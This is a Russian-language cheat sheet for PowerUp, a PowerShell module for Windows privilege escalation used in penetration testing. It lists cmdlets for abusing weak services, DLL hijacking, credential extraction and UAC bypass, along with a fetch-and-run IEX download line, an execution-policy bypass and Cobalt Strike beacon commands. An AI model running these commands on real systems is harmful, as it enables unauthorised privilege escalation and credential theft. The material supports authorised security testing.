



# SPECTER OPS

## Шпаргалка по PowerUp

### Начало работы

Внимание: важные обновления PowerUp **всегда** будут находиться в ветке разработки PowerSploit.

Скачать PowerUp: <http://bit.ly/1PdJSHk>

Загрузка с диска:

- 1) C:\> powershell -exec bypass
- 2) PS C:\> Import-Module PowerUp.ps1

Загрузка с GitHub:

```
PS C:\> IEX (New-Object Net.WebClient).DownloadString("http://bit.ly/1PdJSHk")
```

Загрузка через Cobalt Strike Beacon:

```
beacon> powershell- import /local/path/to/PowerUp.ps1  
beacon> powershell Invoke-AllChecks
```

Помощь и информация:

```
PS C:\> Get-Help Cmdlet-Name [-detailed] [- full]
```

Большинство функций PowerUp реализованы в Empire в каталоге **privesc/powerup/\***

`Invoke-PrivescAudit` (ранее `Invoke-AllChecks`) запустит все текущие проверки повышения привилегий, подробно описанные в этом руководстве, и выдаст соответствующий синтаксис функций атаки для всех найденных вариантов. Флаг `-HTMLReport` позволит записать HTML-версию отчёта в **SYSTEM.username.html**.

### Перечисление уязвимостей служб

<code>Get-ModifiableService</code>	Отображает все службы, в которых текущий пользователь может изменять binPath службы.
<code>Get-ModifiableServiceFile</code>	Отображает все службы, в которых пользователь имеет право записи в соответствующий двоичный код службы или её аргументов.
<code>Get-ServiceUnquoted</code>	Отображает все службы с двоичными путями без кавычек.

## Использование уязвимостей служб

- `Invoke-ServiceAbuse` использует `binPath` уязвимой службы для выполнения команд от имени SYSTEM.
- `Install-ServiceBinary` устанавливает вредоносный C# код для определённой службы.

Оба [командлета](#) могут принимать следующие параметры (а также имена и объекты служб, полученные от `Get-Service`):

Имя атакуемой службы.	<code>-Name SERVICE</code>
Имя пользователя, которое нужно добавить (значение по умолчанию – «john»). Обратите внимание, что пользователи домена не создаются, а только добавляются в LocalGroup.	<code>-UserName '[DOMAIN\]USER'</code>
Пароль для добавляемого пользователя (значение по умолчанию – «Password123!»).	<code>-Password 'P@55Word'</code>
Группа, к которой будет добавлен пользователь (значение по умолчанию – «Administrators»).	<code>-LocalGroup "NAME"</code>
Пользовательская команда для выполнения.	<code>-Command "net..."</code>

`Install-ServiceBinary` создаёт бэкап исходного пути к службе в файл `\orig_path.exe.bak`. Восстановить эти данные можно командлетом `store-ServiceBinary`.

`Set-ServiceBinPath` может прописать `binPath` службы без вызова `sc.exe`.

## DLL-библиотеки для взлома

`Find-PathDLLHijack` проверяет, есть ли в текущем `%PATH%` какие-либо каталоги, доступные для записи текущему пользователю. Это можно использовать в Windows 7 с помощью командлета `Write-HijackDll` и `'FOLDER\PATH\wlbsctrl.dll'`.

`Write-HijackDll` записывает самоуничтожающийся .bat-файл в каталог `\hijackpath\debug.bat`, который выполняет команду и прописывает библиотеку DLL, запускающую этот файл. Командлет принимает такие же аргументы (`-UserName`, `-Password` и `-Command`), как и `Invoke-ServiceAbuse`, а также:

Путь для записи DLL-библиотеки.	<code>-DllPath PATH\wlbsctrl.dll</code>
Ручное уточнение архитектуры.	<code>-Architecture [x64/x86]</code>
Путь к .bat-файлу, который будет запущен библиотекой.	<code>-BatPath PATH\y.bat</code>

## Проверки реестра

<code>Get- RegistryAlwaysInstall Elevated</code>	Проверяет наличие ключа <code>AlwaysInstallElevated</code> . Его наличие означает, что все пакеты MSI будут всегда выполняться от имени SYSTEM.
--	---

Get- RegistryAutoLogon	Выводит учётные данные для автоматического входа из различных областей регистра.
Get- ModifiableRegistryAutoRun	Выводит данные автозапуска, в которых пользователь может изменить код, сценарий или параметры.

## Дополнительные проверки

Get- UnattendedInstallFile	Проверяет наличие оставшихся файлов unattend.xml.
Get-Webconfig	Восстанавливает текстовые данные и строки зашифрованных соединений из всех файлов web.configs (спасибо <a href="#">Скотту Сазерленду</a> ).
Get-ProcessTokenPrivilege	Отображает все привилегии текущего (либо указанного) процесса.
Get-SiteListPassword	Проводит поиск любых файлов McAfee SiteList.xml и расшифровывает их содержимое.

## Вспомогательные командлеты

Enable-Privilege	Добавляет привилегию текущему процессу. Список доступных привилегий можно получить с помощью <a href="#">Get-ProcessTokenPrivilege</a> .
Get- CurrentUserTokenGroupSid	Отображает все SID, частью которых является текущий пользователь (даже если SID неактивен).
Invoke- EventVwrBypass	Обходит UAC, выполняя захват образа файла с расширением .msc.

## Дополнительная информация

<http://www.harmj0y.net/blog/>